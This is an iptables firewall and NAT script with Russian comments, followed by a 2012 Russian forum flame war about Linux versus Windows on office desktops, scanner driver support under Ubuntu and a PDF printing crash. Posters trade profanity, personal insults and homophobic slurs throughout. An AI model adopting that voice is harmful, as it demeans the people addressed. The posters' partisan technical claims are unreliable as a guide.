# Лог принятых запросов, отвергнутых и не попавших ни под одно из правил
iptables -A INPUT -j LOG --log-prefix "*****iptables INPUT drop "


########## Проходящие запросы
# Политика по умолчанию
iptables -P FORWARD DROP
# Блокировка броадкастов
iptables -A FORWARD -m addrtype --dst-type BROADCAST -j DROP
# Прохождение по уже установленным соединениям
iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
# Прохождение локального траффика (VPN клиенты)
iptables -A FORWARD -p ALL --source $LAN_NET_ADDR --destination $LAN_NET_ADDR -j ACCEPT
# Запросы во вне к основным интернет службам (ftp, mail, web, icq, jabber, etc.)
iptables -A FORWARD -p TCP --in-interface $LAN_IF --source $LAN_NET_ADDR -m multiport --dports ftp,smtp,pop3,http,http-alt,https,aol,xmpp-client -j ACCEPT
# Запросы во вне к вспомогательным службам
iptables -A FORWARD -p TCP --in-interface $LAN_IF --source $LAN_NET_ADDR -m multiport --dports rsync,ssh,xxxxxx,openvpn -j ACCEPT
# Запросы из вне к серверам видеонаблюдения GOAL (с последующим пробросом портов на соответствующие видеосервера)
iptables -A FORWARD -p TCP --in-interface $WAN_IF -m multiport --dports xxxx,xxxx,xxxx,xxxx,xxxx -j ACCEPT
# Запросы во вне к серверам видеонаблюдения MSH и Video7
iptables -A FORWARD -p TCP --in-interface $LAN_IF --source $LAN_NET_ADDR -m multiport --dports 1204,1205,20900 -j ACCEPT
# Запросы во вне к DNS и NTP серверам
iptables -A FORWARD -p UDP --in-interface $LAN_IF --source $LAN_NET_ADDR -m multiport --dports domain,ntp -j ACCEPT
# ping запросы во вне
iptables -A FORWARD -p ICMP --in-interface $LAN_IF --icmp-type echo-request -j ACCEPT
# Лог проходящих запросов, отвергнутых и не попавших ни под одно из правил
iptables -A FORWARD -j LOG --log-prefix "*****iptables FORWARD drop "

# NAT для маскарадинга во вне
iptables -t nat -A POSTROUTING --out-interface $WAN_IF -j SNAT --to-source $WAN_IF_ADDR
# Проброс из вне на сервера видеонаблюдения для клиентов GOAL-city
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107
iptables -t nat -A PREROUTING -p TCP -m tcp --destination $WAN_IF_ADDR --dport xxxx -j DNAT --to-destination xx.xx.xx.xx:3107


########## Исходящие запросы
# Политика по умолчанию...
iptables -P OUTPUT DROP
# Блокировка броадкастов
iptables -A OUTPUT -m addrtype --dst-type BROADCAST -j DROP
# По уже установленным соединениям
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
# Запросы FTP,HTTP,SSH,RSYNC
iptables -A OUTPUT -p TCP -m multiport --dports ftp,http,xxxxxx,rsync -j ACCEPT
# Запросы DNS,NTP,DNS-transfer
iptables -A OUTPUT -p UDP -m multiport --dports domain,ntp -j ACCEPT
iptables -A OUTPUT -p TCP --dport domain -j ACCEPT
# Запросы на серверов видеонаблюдения GOAL
iptables -A OUTPUT -p TCP --out-interface $LAN_IF --destination $LAN_NET_ADDR --dport 3107 -j ACCEPT
# localhost трафик...
iptables -A OUTPUT --out-interface lo -j ACCEPT
# ping запросы
iptables -A OUTPUT  -p ICMP --icmp-type echo-request -j ACCEPT
# Лог запросов, отвергнутых и не попавших ни под одно из правил
iptables -A OUTPUT -j LOG --log-prefix "*****iptables OUTPUT drop "

########## Настройки
# Разрешаем ip-форвардинг
echo 1 > /proc/sys/net/ipv4/ip_forward
for f in /proc/sys/net/ipv4/conf/*/rp_filter ; do echo 1 > $f ; done
# Сохраняем правила
/etc/init.d/iptables save
# Добавляем запуск iptables в автозагрузку
#rc-update add iptables default
# nano /etc/sysctl.conf
# Разрешаем форвардинг на уровне sysctl
#net.ipv4.ip_forward = 1
#net.ipv4.conf.default.rp_filter = 1
# В случае, если динамический IP-адрес
#net.ipv4.ip_dynaddr = 1




Название: Re: Она вышла...
Отправлено: Franco от 09-11-2012, 12:40:37
Ну вопрос в том, что не все производители пишут драйвера для своих устройств и очень неохотно делятся спецификациями, основываясь на которых другие их могли бы написать. И кроме того, не я ли говорил, что не стоит лезть в Линукс с подходами "продвинутого пользователя Винды"?  Как минимум нужно уметь читать и искать информацию. Так что вопрос, скорее, к производителю оборудования.
То есть убунта ни при чем, эпсон - вот главные педорасы?
А нах нужна система, для которой нет нормальных драйверов, ну или хотя бы таких, которые не надо 2 часа устанавливать?
Эдак можно договориться, что я выпустил свою систему, а ХП и нвидиа не хотят песать под нее драйвера. Но система хорошая, а вот ХП и нвидиа - педорасы.


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 12:51:39
То есть убунта ни при чем, эпсон - вот главные педорасы?
А нах нужна система, для которой нет нормальных драйверов, ну или хотя бы таких, которые не надо 2 часа устанавливать?
Эдак можно договориться, что я выпустил свою систему, а ХП и нвидиа не хотят песать под нее драйвера. Но система хорошая, а вот ХП и нвидиа - педорасы.

Ну и чего? А подбор оборудования слабо осуществить и остановиться на том, которое гарантированно подходит? И потом, тебя что, под угрозой смерти заставляют внедрять Линукс? Остановись на винде и не парься, если она тебе больше подходит и устраивает.


Название: Re: Она вышла...
Отправлено: Franco от 09-11-2012, 12:57:41
Ну и чего? А подбор оборудования слабо осуществить и остановиться на том, которое гарантированно подходит? И потом, тебя что, под угрозой смерти заставляют внедрять Линукс? Остановись на винде и не парься, если она тебе больше подходит и устраивает.
Оборудование есть то, которое есть. Которое было куплено, когда в конторе еще была ператская венда. Эпсон 3490 - нифига не новая модель.
А теперь Линукс обязателен к использованию, ибо контора "честная и жадная".


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 13:17:59
А теперь Линукс обязателен к использованию, ибо контора "честная и жадная".

Ты им про "геть на фак" не рассказывал?


Название: Re: Она вышла...
Отправлено: Franco от 09-11-2012, 13:31:59
Ты им про "геть на фак" не рассказывал?
Да мне, если честно, пох.
Может, убедятся, наконец, что линукс на десктопе, да еще на офисном - это дурь.


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 15:20:39
Может, убедятся, наконец, что линукс на десктопе, да еще на офисном - это дурь.

После того, как ты всё настроил, и всё заработало, это будет аргументом против подобного заявления. Как говориться, были бы руки и голова, а там и пивной ящик телевизором станет.

Проблема воя встала от того, что конкретно для твоего сканера в SANE встроенного драйвера не нашлось. И пришлось ручками доустановить и донастроить сторонний.
У SANE хорошая страничка есть, где выложены перечни всего поддерживаемого оборудования и степень их поддержки. Никто не отрицает, что без поддержки производителей, можно рассчитывать на всеохватывающую поддержку железа.


Название: Re: Она вышла...
Отправлено: RockStar от 09-11-2012, 15:24:44
После того, как ты всё настроил, и всё заработало, это будет аргументом против подобного заявления. Как говориться, были бы руки и голова, а там и пивной ящик телевизором станет.
И смысл делать из пивного ящика телевизор, если его (ТВ) можно в готовом виде купить!
И разница в цене все-равно будет несоизмеримо меньше, чем стоимость затраченного времени на допиливание.
Хотя у каждого время стоит по разному, мне и 30 минут реально потратить на настройку этооо очень дорого и неэффективно!


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 15:28:42
И смысл делать из пивного ящика телевизор, если его (ТВ) можно в готовом виде купить!
И разница в цене все-равно будет несоизмеримо меньше, чем стоимость затраченного времени на допиливание.
Хотя у каждого время стоит по разному, мне и 30 минут реально потратить на настройку этооо очень дорого и неэффективно!

Право выбора никто не отменил. Да видят все форумчане, я не ратую за проталкивание Линукса в массы. Это дело каждого.


Название: Re: Она вышла...
Отправлено: RockStar от 09-11-2012, 15:50:49
Право выбора никто не отменил. Да видят все форумчане, я не ратую за проталкивание Линукса в массы. Это дело каждого.

))окей))) просто я почитал всю тему, ощущение что не видят!


Название: Re: Она вышла...
Отправлено: mech от 09-11-2012, 17:21:05
А на закуску можешь пошмонать мой конфиг файрвола.  Там есть несколько, хорошо мне известных недочётов, может укажешь мне их... В качестве учебного материала, так сказать...

Курите ваше говно сами. Зачем мне голову забивать? Я делаю проще без всяких наворотов на всякую хрень илитных рехтуров-икспердов по прикладным уровням. Мне достаточно.

Код:
#!/bin/sh
IPT="/sbin/iptables"
echo 1 > /proc/sys/net/ipv4/ip_forward
$IPT -F
$IPT -X
$IPT -P INPUT DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT DROP
INET_IFACE_WAN="ppp0"
INET_IFACE_LAN="eth0"
TCP_PORTS_LAN="0:65535"
UDP_PORTS_LAN="0:65535"
TCP_PORTS_WAN="20,21,25,80,110,2020,10000"
UDP_PORTS_WAN="53"
$IPT -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A OUTPUT -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT
$IPT -A INPUT -i ppp+ -j ACCEPT
$IPT -A INPUT -p gre -j ACCEPT

iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 128
iptables -A FORWARD -i eth0 -o ppp0 -j ACCEPT
iptables -A FORWARD -i ppp+ -o ppp0 -j ACCEPT
iptables -t nat -A POSTROUTING -o ppp0 -s 192.168.1.0/24 -j MASQUERADE

$IPT -A INPUT -p tcp -m multiport -i $INET_IFACE_LAN --dport $TCP_PORTS_LAN -j ACCEPT
$IPT -A INPUT -p udp -m multiport -i $INET_IFACE_LAN --dport $UDP_PORTS_LAN -j ACCEPT
$IPT -A INPUT -p tcp -m multiport -i $INET_IFACE_WAN --dport $TCP_PORTS_WAN -j ACCEPT
$IPT -A INPUT -p udp -m multiport -i $INET_IFACE_WAN --dport $UDP_PORTS_WAN -j ACCEPT
$IPT -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT

exit 0


Название: Re: Она вышла...
Отправлено: FroX от 09-11-2012, 17:24:37
Оборудование есть то, которое есть. Которое было куплено, когда в конторе еще была ператская венда. Эпсон 3490 - нифига не новая модель.
А теперь Линукс обязателен к использованию, ибо контора "честная и жадная".
а у меня вот тоже проблема со сканером - дрова есть тока для XP
и чо делать?
кому багрепорт писать?
микрософт виноват или производитель сканера?


Название: Re: Она вышла...
Отправлено: mech от 09-11-2012, 17:27:28
Ну вот человек уже техническими терминами заговорил. Ещё немного и он прочитает какой-нибудь мануал, что бы узнать, что же это такое и с чем это едят. Вопрос на засыпку, IP - это какой уровень OSI?

Улыбнуло. Ну вы там ещё покрасуйтесь перед зеркалом. Кроме усмешки такие попёрдывания ничего не вызывают.


Название: Re: Она вышла...
Отправлено: mech от 09-11-2012, 17:29:56
микрософт виноват или производитель сканера?

Не. Ваши четвероногие друзья из опенсорса.


Название: Re: Она вышла...
Отправлено: Franco от 09-11-2012, 17:52:31
После того, как ты всё настроил, и всё заработало, это будет аргументом против подобного заявления. Как говориться, были бы руки и голова, а там и пивной ящик телевизором станет.
Я никогда этого не сделаю.
Вот сейчас вылез косяк - не печатает из штатной программы просмотра ПДФ. Отправляю на печать - прога закрывается.
Писец, пойду домой. я уже ЗАЕБАЛСЯ решать технические проблемы ОС вместо своих прямых обязанностей по подготовке пакетов документов для получения разрешений.
ф песду этот линукс.


Название: Re: Она вышла...
Отправлено: mech от 09-11-2012, 18:01:07

ф песду этот линукс.


Хи-хи-хи!


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 23:36:38
Курите ваше говно сами. Зачем мне голову забивать?
Улыбнуло. Ну вы там ещё покрасуйтесь перед зеркалом. Кроме усмешки такие попёрдывания ничего не вызывают.
Вопросы, естественно, остаются без ответов. Что и следовало ожидать...

Я делаю проще без всяких наворотов на всякую хрень илитных рехтуров-икспердов по прикладным уровням. Мне достаточно.
И после этого наивно уверены, что........
По крайней мере софт просящийся наружу будет тупо остановлен. Юзер предупреждён.

...я уже ЗАЕБАЛСЯ решать технические проблемы ОС вместо своих прямых обязанностей по подготовке пакетов документов для получения разрешений.
Секретарь делопроизводитель в качестве администратора информационных систем... Увы, это грустно..... Мои соболезнования.... Вашему начальнику.

Хи-хи-хи!
Фраза из анекдота... "Я знаю эту девочку. Она теперь постоянно в каске бегает и всё время смеётся"


Название: Re: Она вышла...
Отправлено: mech от 09-11-2012, 23:47:16
Вопросы, естественно, остаются без ответов. Что и следовало ожидать...

Да думайте что хотите, в приливе вашего нарциссизма. Мне, лично,  в падлу тут тут метать бисер. Если вам самолюбование доставляет чувства сродни мастурбации, то откройте сайт, кружок "Очумелые ручки". А то их так мало.


Название: Re: Она вышла...
Отправлено: Watchman от 09-11-2012, 23:52:31
Диозану привели кучу примеров кривой работы Линукса, но он продолжает закрыв глаза и уши говорить бе-бе-бе.

Впрочем фанатик так и должен делать.


Название: Re: Она вышла...
Отправлено: Diozan от 09-11-2012, 23:55:37
.....Мне, лично,  в падлу тут тут метать бисер.....
Не заметно. По моему Вы получаете от этого удовольствие.

Код:
$IPT -A INPUT -p tcp -m multiport -i $INET_IFACE_LAN --dport $TCP_PORTS_LAN -j ACCEPT
$IPT -A INPUT -p udp -m multiport -i $INET_IFACE_LAN --dport $UDP_PORTS_LAN -j ACCEPT
$IPT -A INPUT -p tcp -m multiport -i $INET_IFACE_WAN --dport $TCP_PORTS_WAN -j ACCEPT
$IPT -A INPUT -p udp -m multiport -i $INET_IFACE_WAN --dport $UDP_PORTS_WAN -j ACCEPT

Конфиг некорректный. --dports надо. Ибо фича -m multiport определена.


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 00:00:34
Впрочем фанатик так и должен делать.

Да не фанатик он. Просто в самом деле думает, что обладая недоосью, как некоей прелестью, автоматически делает его некоей "илитой". Забывая про всё остальное. Вот и несёт всякую чушь, собирая всякую фигню, достойную школоты.


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 00:02:48
Конфиг некорректный. --dports надо. Ибо фича -m multiport определена.

Это ничего что всё работает?


Название: Re: Она вышла...
Отправлено: Diozan от 10-11-2012, 00:03:42
Диозану привели кучу примеров кривой работы Линукса, но он продолжает закрыв глаза и уши говорить бе-бе-бе.

Впрочем фанатик так и должен делать.
Да не фанатик он. Просто в самом деле думает, что обладая недоосью, как некоей прелестью, автоматически делает его некоей "илитой". Забывая про всё остальное. Вот и несёт всякую чушь, собирая всякую фигню, достойную школоты.

Разговор с самим собой?


Название: Re: Она вышла...
Отправлено: Diozan от 10-11-2012, 00:04:30
Это ничего что всё работает?
Да, работает, но синтаксически это не верно. Грамматически тоже.


Название: Re: Она вышла...
Отправлено: Watchman от 10-11-2012, 00:05:01
Да не фанатик он. Просто в самом деле думает,

Это и есть фанатизм.


Название: Re: Она вышла...
Отправлено: Watchman от 10-11-2012, 00:08:00
Разговор с самим собой?

С вами, как бы, пытались поговорить. Но в виду вышего слепого фанатизма, когда плюсы объекта обожания выпячиваются, а минусы игнорируются, смысл дискуссии с вами теряется.


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 00:09:19
Да, работает, но синтаксически это не верно. Грамматически тоже.

А мне вот пох. Главное работает. Без комментов школьных и претензий на илитность. И в винде всё отлично, в отличие от горе-грамотеев. Между прочим и у Ивана Моисеевича в windows тоже всё работает, а вот в илитной недооси, наверняка "синтаксически" и "грамматически", с точки зрения школоты и не менее илитных  Диозанов с ЧСВ, ни хрена не работает. Эпик фейл. Что и требовалось, собственно.


Название: Re: Она вышла...
Отправлено: Diozan от 10-11-2012, 00:12:21
С вами, как бы, пытались поговорить. Но в виду вышего слепого фанатизма, когда плюсы объекта обожания выпячиваются, а минусы игнорируются, смысл дискуссии с вами теряется.
Он потерялся давно, когда элементарные вопросы выявили полное незнание предмета. До свидания.


Название: Re: Она вышла...
Отправлено: Franco от 10-11-2012, 11:54:52
Секретарь делопроизводитель в качестве администратора информационных систем... Увы, это грустно..... Мои соболезнования.... Вашему начальнику.
Аргумент в стиле "сам дурак" - он, конечно, весьма весом.
Инженер по подготовке производства, задача которого обеспечить получение разрешительной документации на строительство объектов капитального строительства (а сюда входит работа по геодезии, проводке коммунальных сетей, получение разрешений на строительство и тыды) - вот кто я. А не секреарь-делопроизводитель. И когда я возвращаюсь со стройплощадок или с переговоров, мне совершенно не нравится, что я не могу работать в офисе, пока не проколупаюсь пару часов с поделием.
Системным администратором я работал очень давно - лет 10 назад что-то еще помню, это и выручает, поскольку, конторский админ - 1С-ник, он с линуксом дружит еще меньше, чем я.
Впрочем, дело даже не в том, кто чем занимается и кто что умеет, а в том, что поделию не место на офисных десктопах. И на домашних тоже.
И самое странное, что Дизя не понимает этого. А ведь если поделие займет хоть какую-то мало-мальски значимую часть парка настольных систем - вирусни под него станет еще больше чем под венду, ибо в том зоопарке который сущетвует никто оперативненько патчей выпускать не станет.


Название: Re: Она вышла...
Отправлено: Diozan от 10-11-2012, 12:36:36
Инженер по подготовке производства.....

Извиняюсь. Исправлюсь...
Инженер по подготовке производства в качестве администратора информационных систем... Увы, это грустно..... Мои соболезнования.... Вашему начальнику. Всё таки геодезия и ИТ - это разные вещи.

.....а в том, что поделию не место на офисных десктопах. И на домашних тоже.
И самое странное, что Дизя не понимает этого..

Моё мнение озвучено много раз....
Право выбора никто не отменил. Да видят все форумчане, я не ратую за проталкивание Линукса в массы. Это дело каждого.

И подтверждением тому является то, что при возникновении проблемы я пытаюсь помочь её разрулить, только вот когда спрашиваю, какие проблемы, например со сканером у вас возникли, я получаю описание не проблемы, а её глобальности, о том, что весь Интернет кричит и стонет от этой проблемы. Но не получаю даже точного названия модели сканера и связки ПО, используемого при сканировании. Понятно, что разумного ответа при этом дать нельзя, а со стороны это выглядит, как будто бы я зазнаюсь.

Когда человек наивно заявляет, что Виндовый брандмауэр может остановить рвущуюся в интернет программу, а ему резонно, с аргументированием, приведением выкладок, объясняют, что Виндовый брандмауэр этого не делает, ибо он не фильтрует исходящие соединения, т.к. эти механизмы у него отсутствуют, что происходит? Начинаются наезды, что я фанатик, придурок и т.д.



Название: Re: Она вышла...
Отправлено: Franco от 10-11-2012, 12:57:18
Тогда как прикажете понимать ваш вой про "тыячи зомби под управленем венды которые забрасывают спамом весь тырнет"?
ПРОблема оозначена.
И методы ее решения тоже : переход на линукс, который не боится вирусни.
А шо касательно сканера, то конфигурация такая:
Epson perfetion 3490 Photo
Проблема: не видит сканер
система: убунта 12,10
Программа: xSane, стандартная программа для сканирования в убунте.
Вторая проблема: при попытке печати на ХП 601 закрывается стандартная программа для просмотра ПДФ.


Название: Re: Она вышла...
Отправлено: Diozan от 10-11-2012, 13:42:04
А шо касательно сканера, то конфигурация такая:
Epson perfetion 3490 Photo
Проблема: не видит сканер
система: убунта 12,10
Программа: xSane, стандартная программа для сканирования в убунте.
Лезем на сайт SANE и видим там печальную строчку...
Perfection 2480 PHOTO   USB   0x04b8/0x0121   Unsupported   supported by the epkowa backend plus non-free interpreter
Не поддерживаемый сканер. Накануне перехода на Линь, вам умудрились купить не поддерживаемый сканер. Это называется "закон подлости", который, увы, никто не отменял.
Но есть ссылка на производителя несвободного (non-free) драйвера. Который и придётся поставить уже руками. Несвободность этого драйвера не позволяет включать его в состав дистрибутива Линукса, и проблема эта не техническая, а политическая.
Нужно уточнить, устанавливается ли этот драйвер из репозитория, или надо тащить его руками.
Скорее всего придётся сходить сюда (http://www.avasys.jp/lx-bin2/linux_e/scan/DL1.do) (ссылка у SANE имеется) и скачать руками. Инструкции по установке драйвера в нём самом. Беглый посмотр её позволил выявить, что не работает автоматическое определение USB сканеров и информацию эту надо будет пробивать руками в конфиг. Тяжело, понимаю, но причина в том, что фирма SEIKO не озаботилась поддержкой линукс-пользователей. По всей вероятности из-за того, что они не представляют для неё комерческого интереса, а линукс изначально не коммерческая система.

Вторая проблема: при попытке печати на ХП 601 закрывается стандартная программа для просмотра ПДФ.
Из других печатает? CUPS функционирует и настроен? Его лучше настраивать через ВЕБ-морду, а не всякие графические настройщики. (лучше, конечно через правку конфигов, но такой вопрос даже не рассматривается?). Веб-морда у него располагается по адресу: http://localhost:631/

Если из других программ печатает нормально, то CUPS, скорее всего, ни причём. Можно попытаться переустановить просмотрщик с его зависимостями.
Как вариант, запустить из консоли, в этом случае он, перед тем, как закрыться, может выдать туда много интересного о сущности проблемы.

Тогда как прикажете понимать ваш вой про "тыячи зомби под управленем венды которые забрасывают спамом весь тырнет"?
Тысячи? Миллионы, наверное. Понимать следует как констатацию факта. Когда основным генератором спама и DDOS станут компы под управлением Убунты, я буду говорить о "миллионах зомби под управлением Убунты". И с таким подходом к конфигурации системы, это станет вполне возможным моментом.
Вот, проблема обозначилась у человека.  (http://www.kovrov33.ru/f2/index.php?topic=299139.0). Как выяснилось по причине того, что в файл hosts ей прописались ссылки на фальшивые сайты однокласников и в контакте. Уж сколько раз писано, что файл этот должен быть read-only. Сам юзер а-ля "продвинутый пользователь Винды" этого не делает, но Майкрософт могла бы позаботиться об их безопасности?


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 13:44:04

Когда человек наивно заявляет, что Виндовый брандмауэр может остановить рвущуюся в интернет программу, а ему резонно, с аргументированием, приведением выкладок, объясняют, что Виндовый брандмауэр этого не делает, ибо он не фильтрует исходящие соединения, т.к. эти механизмы у него отсутствуют, что происходит? Начинаются наезды, что я фанатик, придурок и т.д.



Я ещё раз вам повторяю, что windows тупо не выпускает программу в тырнет, пока вы ей не разрешите, сразу после установки, по дефолтным установкам, в отличие от недоосей. В моём случае это система 2009 года, под названием WINDOWS 7. Если вы страдаете некрофилией и пользуетесь древним , как говно мамонта софтом, образца 2001 года, то это ваши трудности, что впрочем неудивительно для линуксоидов. Какая на фиг аргументация, когда вы просто туп как пробка? Неся бред и даже пытающийся бравировать некими "сакральными" и "тайными" знаниями школоты с убунты.ру на самом деле общими для всех систем. Ну не дурак ли вы?  Вы хоть в детальные настройки файрволла Windows 7 краем глаза смотрели? Я уж не говорю про windows сервера.



Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 13:55:17
Когда основным генератором спама и DDOS станут компы под управлением Убунты, я буду говорить о "миллионах зомби под управлением Убунты"

Число пользователей всех недоосей, с форками форкнутых форков более 9000, в мировом процентном соотношении, на сегодняшний момент где то 1 % http://marketshare.hitslink.com/operating-system-market-share.aspx?qprid=8&qpcustomd=0,  http://gs.statcounter.com/#os-ww-monthly-201110-201210. Да вам до этого показателя windows, как до Пекина раком. После 20 лет непрерывных побед. Особенно с такими вот илитными грамотеями с консолями и портянками для iptables. Добавлю от себя, что пользователям абсолютно фиолетово и конгруэнтны ваши школьные "политические" и "бесплатные" заклинания с придурковатой FSF и колхозным опенсорцем. Ему надо совсем другое, те же драйвера без плясок с бубном, консолей, ебанутых конфигов, составленых илитными горе-грамотеями диозанами. Главное, чтобы работало с минимальными телодвижениями.


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 15:00:22
А ведь если поделие займет хоть какую-то мало-мальски значимую часть парка настольных систем - вирусни под него станет еще больше чем под венду, ибо в том зоопарке который сущетвует никто оперативненько патчей выпускать не станет.

Совершенно верно. Стоило только ведроиду занять более менее значимую нишу, так сразу же кол-во малвари для этого поделия превысило все мыслимые рекорды. Тут как то проскользнуло что 20-летнего хацкиря поймали, так он за 1 час написал софтину для рассылки спама и заразил 17 000 девайсов. http://www.gazeta.ru/social/news/2012/11/09/n_2609977.shtml


Название: Re: Она вышла...
Отправлено: Paladin от 10-11-2012, 15:15:05
а ондроед, если кто не в курсе, это сраный линукс


Название: Re: Она вышла...
Отправлено: RockStar от 10-11-2012, 17:51:20
а ондроед, если кто не в курсе, это сраный линукс
Поэтому либо Windows 8 ,  либо Osx 10.8.2 (ios 6.01)


Название: Re: Она вышла...
Отправлено: Paladin от 10-11-2012, 17:55:48
Поэтому либо Windows 8 ,  либо Osx 10.8.2 (ios 6.01)
очень странный вывод
не мог бы пояснить?

кстати, всякие ваши Osx они тоже *nix
двоюродный брат ондроеда


Название: Re: Она вышла...
Отправлено: RockStar от 10-11-2012, 18:12:23
очень странный вывод
не мог бы пояснить?

кстати, всякие ваши Osx они тоже *nix
двоюродный брат ондроеда
Конечно, если с твоих слов Андроид это сраный Линукс, то из массового употребления остается Windows и Яблоко ОС! Вот и и вывод потому такой!

Насчет двоюродных братьев, не понял и что?


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 18:13:53
Конечно, если с твоих слов Андроид это сраный Линукс, то из массового употребления остается Windows и Яблоко ОС! Вот и и вывод потому такой!

Насчет двоюродных братьев, не понял и что?


Гейось запилили на основе bsd.


Название: Re: Она вышла...
Отправлено: RockStar от 10-11-2012, 18:15:36
Гейось запилили на bsd.
Да семья большая BSD, Solaris, Linux, Android, MeeGo, NeXTSTEP, Mac OS X, Apple iOS. А толку то)))


Название: Re: Она вышла...
Отправлено: Paladin от 10-11-2012, 18:19:50
Конечно, если с твоих слов Андроид это сраный Линукс, то из массового употребления остается Windows и Яблоко ОС! Вот и и вывод потому такой!
почему его теперь не использовать?
Цитировать
Насчет двоюродных братьев, не понял и что?
что ты не понял?


Название: Re: Она вышла...
Отправлено: RockStar от 10-11-2012, 18:21:37
почему его теперь не использовать?что ты не понял?
Ну зачем что-то СРАНОЕ использовать?!

Я про братьев не понял, это к чему???
Вида тоже почти дочка Мак ос...Windows была выпущена в 1985 году, и как минимум, послужила вдохновлением (если не была скопирована) с ранней Mac OS, к которой у Microsoft был доступ как у разработчика приложений для Мака.


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 18:25:08
система: убунта 12,10

Как вы только на ней что то делаете? Это же полный ахтунг, а не система. Если скрестить ужа с ежом, то получится полтора метра колючей проволоки.


Название: Re: Она вышла...
Отправлено: Paladin от 10-11-2012, 18:25:20
Ну зачем что-то СРАНОЕ использовать?!
а другого нет
винмобайл не делают больше
Цитировать
Я про братьев не понял, это к чему???
к тому что Мак и Ондроед - родственники
Цитировать
Вида тоже почти дочка Мак ос...Windows была выпущена в 1985 году, и как минимум, послужила вдохновлением (если не была скопирована) с ранней Mac OS, к которой у Microsoft был доступ как у разработчика приложений для Мака.
если ты про оконный интерфейс, то она его скрала у Ксерокса


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 18:26:46
если ты про оконный интерфейс, то она его скрала у Ксерокса

Вместе с Джобсом. Джобс на разработку Novell эээээ Xerox дрочил не по детски.


Название: Re: Она вышла...
Отправлено: Paladin от 10-11-2012, 18:27:42
манипулятор типа "мышь", к слову, там же разработали
надо полагать тоже Джобс


Название: Re: Она вышла...
Отправлено: mech от 10-11-2012, 18:30:55
Кстати, советую посмотреть. Неизвестное интервью Джобса  http://odiszapc.ru/2012/09/09/steve-jobs-lost-interview/


Название: Re: Она вышла...
Отправлено: Walmer от 11-11-2012, 22:57:21
Вторая проблема: при попытке печати на ХП 601 закрывается стандартная программа для просмотра ПДФ.
вот хз как там на линуксе, но когда у меня на винде какой-то популярный просмотрщик пдф заглючил при печати, я попробовал еще 2-3 аналога, включая официальный адобоский. естественно вполне рабочие быстро нашлись
неужели на линукс только одна программа для  просмотра ПДФ? афаик даже адобридер есть для линукс
и да, честно говоря, слегка заставляют удивляться такие вопросы от инженера


Название: Re: Она вышла...
Отправлено: Franco от 11-11-2012, 23:08:31
вот хз как там на линуксе, но когда у меня на винде какой-то популярный просмотрщик пдф заглючил при печати, я попробовал еще 2-3 аналога, включая официальный адобоский. естественно вполне рабочие быстро нашлись
неужели на линукс только одна программа для  просмотра ПДФ? афаик даже адобридер есть для линукс
и да, честно говоря, слегка заставляют удивляться такие вопросы от инженера
Инженера по подготовке производства а не инженера-системотехника, замечу.
Когда глюк обнаруживается в 17-20 в пятницу, ковыряться с ним уже нет никакого желания, тем более, что в мои служебные обязанности это и не входит.
Можно, конечно, и поставить другие программы для просмотра ПДФ, чем я завтра и займусь, но меня уже достали глюки поделия, которые вылезли за неполные полгода работы на нем.
До этого 4 года работы на лицензионной венде глюков не выявляли. Вообще.